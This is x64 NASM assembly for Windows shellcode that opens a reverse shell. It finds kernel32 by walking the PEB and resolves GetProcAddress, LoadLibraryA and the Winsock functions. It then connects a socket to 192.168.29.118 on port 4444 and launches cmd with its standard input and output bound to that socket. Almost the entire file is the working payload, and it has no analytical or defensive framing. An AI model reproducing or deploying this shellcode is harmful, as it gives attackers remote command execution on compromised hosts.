BITS 64


SECTION .text
global start
start:

;push rbp
;mov rbp, rsp

;sub   rsp, 0x28                 ; 40 bytes of shadow space
;and   rsp, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header
mov r8d, [rdx + 0x88]      ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress

Get_Function:

inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address (rbx never changes so we could use it later for CreateProcessA)
sub rsp, 0x20                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x20                ; Cleanup allocated stack space
mov rsi, rax                 ; LoadLibrary saved in RSI

;getws2_32:
mov rcx, 0x6c6c                 ; ll
push rcx                        ; Push on the stack
mov rcx, 0x642e32335f327377     ; d.32_2sw
push rcx                        ; Push on the stack
mov rcx, rsp                    ; ws2_32.dll
sub rsp, 0x20                   ; Allocate stack space for function call
call rsi                        ; call Loadlibrary (stored in rsi) and find ws2_32.dll
add rsp, 0x20                   ; Cleanup allocated stack space
mov r15, rax                    ; base address of ws2_32.dll saved in local variable r15 (winsock handle)

;getWSAStartup:
mov rcx, 0x7075                  ; pu
push rcx                         ; Push on the stack
mov rcx, 0x7472617453415357      ; tratSASW
push rcx                         ;Push on the stack
mov rdx, rsp                     ; copy WSAStartup from stack to 2nd argument (rdx is the 2nd arg)
mov rcx, r15                     ; winsock handler
sub rsp, 0x20                   ; Allocate stack space for function call
call rdi                         ; GetProcAddress(ws2_32.dll, WSAStartup)
add rsp, 0x20                   ; Cleanup allocated stack space
mov r14, rax                     ; ws2_32.WSAStartup saved in r14


;callWSAStartUp:
; stack style
xor rcx, rcx
mov cx, 0x190         ; 0x190 works only when 0x28 bytes are subtracted, no more, no less!!!
sub rsp,rcx
lea rdx,[rsp]
xor rcx, rcx
mov cx,0x202
sub rsp, 0x28
call r14              ; call WSAStartup(MAKEWORD(2, 2), wsadata_pointer)
add rsp, 0x28
add rsp, 0x190




;getWSASocketA:
xor rdx, rdx
xor rcx, rcx
mov rcx, 0x4174                  ; 'At'  original
push rcx                         ; push on stack
mov rcx, 0x656b636f53415357      ; 'ekcoSASW'
push rcx                         ; push on stack
mov rdx, rsp                     ; copy string of WSASocketA contents from stack to rdx (2nd arg for GetProcAddress)
mov rcx, r15                     ; socket handler ws2_32.dll
sub rsp, 0x30
call rdi                         ; GetProcAddress(ws2_32.dll, WSASocketA)
add rsp, 0x30                   ; Cleanup allocated stack space: standard is 32 bytes but 2 pushes = 16 more = 48 = 0x30
mov r13, rax                     ; save ws2_32.WSASocketA to r13

sub rsp, 0x38
;callWSASocketA:
mov qword[rsp+0x20],0
mov qword[rsp+0x28], 0
xor r9, r9
mov r9, 0
xor r8, r8
mov r8, 0x6                     ; protocol=6
xor rdx, rdx
mov rdx, 0x1                    ; type=1
xor rcx, rcx
mov rcx, 0x2                    ; af=2
call r13                        ; call WSASocketA
add rsp, 0x28                  ; Cleanup allocated stack space = 48 bytes = 0x30
mov r14, rax                    ; save socket descriptor of WSASocketA to r14

loadconnect:
        mov rcx, 0x7463656e6e6f63                 ; nnoc
        push rcx
        mov rdx, rsp
        mov rcx, r15
        sub rsp, 0x30
        call rdi
        add rsp, 0x30

callConnect:
;       ;set up sockaddr_in
        mov rdx, 0x761da8c0             ;ip 192.168.29.118
        push rdx                        ;push sin_addr
        push word 0x5c11                ;0x115c = (port 4444)
        xor edx, edx
        mov dl, 2
        push word dx
        mov rdx, rsp
	mov rcx, r14
        sub rsp, 0x30
	call rax
	add rsp, 0x30

getCreateProcessA:
        mov rcx, 0x41737365636f                                 ; ecor
        push rcx
        mov rcx,  0x7250657461657243                            ; aerC
        push rcx                                                ; push the pointer to stack
        mov rdx, rsp
        mov rcx, rbx
        sub rsp, 0x30
        call rdi
        add rsp, 0x30
	mov rbx, rax

;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12                  ; We want to place (18 * 4) = 72 null bytes onto the stack
	pop rcx                         ; Set ECX for the loop
	xor r11,r11
push_loop:

	push   r11                      ; push a null dword
	loop push_loop                  ; keep looping untill we have pushed enough nulls
lea r12,[rsp]

mov dl,104

xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx

xor rdx,rdx
mov dl,255
inc rdx

mov [r12+0x3c],edx
mov [r12+0x50],r14 ;  HANDLE hStdInput;
mov [r12+0x58],r14 ;  HANDLE hStdOutput;
mov [r12+0x60],r14  ;HANDLE hStdError;


;createprocessA_calling
sub rsp, 0x70

push 'cmdA'
mov [rsp+3],byte dl

lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx

xor r8,r8

mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9

xor r9,r9

call rbx ;createprocessA